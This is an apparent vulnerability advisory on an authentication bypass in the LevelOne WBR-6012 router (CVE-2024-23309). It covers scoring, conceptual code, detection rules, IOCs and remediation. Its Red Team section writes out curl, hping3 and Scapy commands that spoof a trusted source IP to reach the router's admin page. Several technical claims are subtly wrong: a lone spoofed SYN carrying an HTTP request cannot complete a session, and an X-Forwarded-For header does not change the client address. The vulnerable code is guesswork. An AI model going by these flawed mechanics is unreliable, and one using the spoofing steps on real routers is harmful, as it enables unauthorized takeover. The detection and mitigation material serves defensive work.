CVE-2024-23309

Executive Summary

CVE-2024-23309 is a critical authentication bypass vulnerability affecting the LevelOne WBR-6012 router running firmware version R0.40e6. The web application incorrectly relies on the client IP address for authentication, allowing an attacker to spoof their IP address and gain unauthorized administrative access without any session token or credentials. This vulnerability has a CVSS score of 9.0 (Critical) and is currently unpatched. The EPSS score is 0.0%, indicating low exploitation probability at this time, but the risk remains high due to the simplicity of the attack.

CVSS Breakdown & Threat Level

• CVSS Score: 9.0 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The vulnerability allows a remote attacker to bypass authentication entirely, leading to full compromise of the router's administrative interface. The low attack complexity and lack of required privileges make this a severe threat.

Deep Dive & Mechanics

The LevelOne WBR-6012 router's web application authenticates users based on the source IP address of the HTTP request. This is a flawed design because IP addresses can be easily spoofed. An attacker can craft HTTP requests with a spoofed source IP that matches an authorized administrative IP (e.g., the local network gateway or a trusted host). The router then grants full administrative access without checking any session token or password.

The vulnerability is rooted in the authentication logic within the web server, likely in a CGI script or embedded HTTP handler. The code checks $_SERVER['REMOTE_ADDR'] or similar variable and compares it to a hardcoded or configurable list of allowed IPs. If the IP matches, the session is considered authenticated.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: relies solely on client IP
$allowed_ips = array('192.168.1.100', '10.0.0.1');
if (in_array($_SERVER['REMOTE_ADDR'], $allowed_ips)) {
    // Grant admin access
    $_SESSION['admin'] = true;
}

Patched Code (Conceptual):

// Patched: requires valid session token and password
session_start();
if (isset($_POST['username']) && isset($_POST['password'])) {
    // Validate credentials
    if (authenticate_user($_POST['username'], $_POST['password'])) {
        $_SESSION['admin'] = true;
    }
}
// Also remove IP-based authentication entirely

The patched version removes the IP-based check and implements proper credential-based authentication with session management.

Exploitation & Lab Setup

Red Team

Exploitation Steps:

1. Identify a LevelOne WBR-6012 router on the network (e.g., via Shodan or local scanning).
2. Determine an authorized IP address (e.g., the router's own IP or a trusted admin IP).
3. Send an HTTP request to the router's web interface with a spoofed source IP.

Example using curl with IP spoofing (requires raw socket or proxy):

# This is a conceptual example; actual IP spoofing requires low-level tools
curl -H "X-Forwarded-For: 192.168.1.100" http://<router_ip>/admin.cgi

Using hping3 to send a crafted HTTP request:

hping3 -S -p 80 -a 192.168.1.100 <router_ip> -c 1 -E payload.txt

Where payload.txt contains a valid HTTP GET request.

Using Python with Scapy:

from scapy.all import *
import requests

# Craft IP packet with spoofed source
ip = IP(src="192.168.1.100", dst="<router_ip>")
tcp = TCP(sport=RandShort(), dport=80, flags="S")
raw = Raw(b"GET /admin.cgi HTTP/1.1\r\nHost: <router_ip>\r\n\r\n")
pkt = ip/tcp/raw
send(pkt)

Blue Team

Detection Steps:

1. Monitor for HTTP requests to the router's admin interface from unexpected IPs.
2. Look for multiple failed login attempts (if any) followed by successful access from a different IP.
3. Check for IP spoofing indicators in network traffic (e.g., TTL mismatches, IP ID anomalies).

Honeypot Setup:

• Deploy a fake LevelOne WBR-6012 honeypot to capture exploitation attempts.
• Log all incoming HTTP requests and analyze source IPs.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /admin.cgi or /login.cgi with spoofed source IPs.
  • Unusual traffic from IPs that should not be in the local subnet.
  • Multiple rapid requests from different IPs to the same admin endpoint.

• Host IOCs:

  • Router logs showing successful admin access without prior authentication.
  • Changes to router configuration (e.g., DNS, firewall rules) without valid credentials.

• File IOCs:

  • Modified configuration files on the router (e.g., /etc/config).
  • Presence of unauthorized scripts or binaries in the router's filesystem.

Detection Engineering

YARA Rule

rule CVE_2024_23309_LevelOne_WBR6012 {
    meta:
        description = "Detects exploitation attempts for CVE-2024-23309"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-23309"
    strings:
        $admin_path = "/admin.cgi"
        $login_path = "/login.cgi"
        $spoofed_ip = "X-Forwarded-For"
    condition:
        any of ($admin_path, $login_path) and $spoofed_ip
}

Sigma Rule

title: CVE-2024-23309 Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests to LevelOne WBR-6012 admin interface with spoofed IP headers
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-path:
            - '/admin.cgi'
            - '/login.cgi'
        cs-headers:
            - 'X-Forwarded-For'
    condition: selection
falsepositives:
    - Legitimate proxy usage
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-23309 LevelOne WBR-6012 Authentication Bypass"; flow:to_server; content:"/admin.cgi"; http_uri; content:"X-Forwarded-For"; http_header; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable remote administration on the router if not required.
2. Restrict administrative access to specific IP addresses using firewall rules (not relying on the router's flawed authentication).
3. Monitor logs for unauthorized access attempts.

Long-term Fix:

• The vendor (LevelOne) must release a firmware update that implements proper authentication (e.g., username/password with session tokens).
• Until a patch is available, consider replacing the router with a more secure model.

Workaround:

• Use a VPN to access the router's admin interface, ensuring only authorized IPs can reach it.
• Implement network segmentation to isolate the router from untrusted networks.

Valters IT
DevSecOps & Cyber Threat Intelligence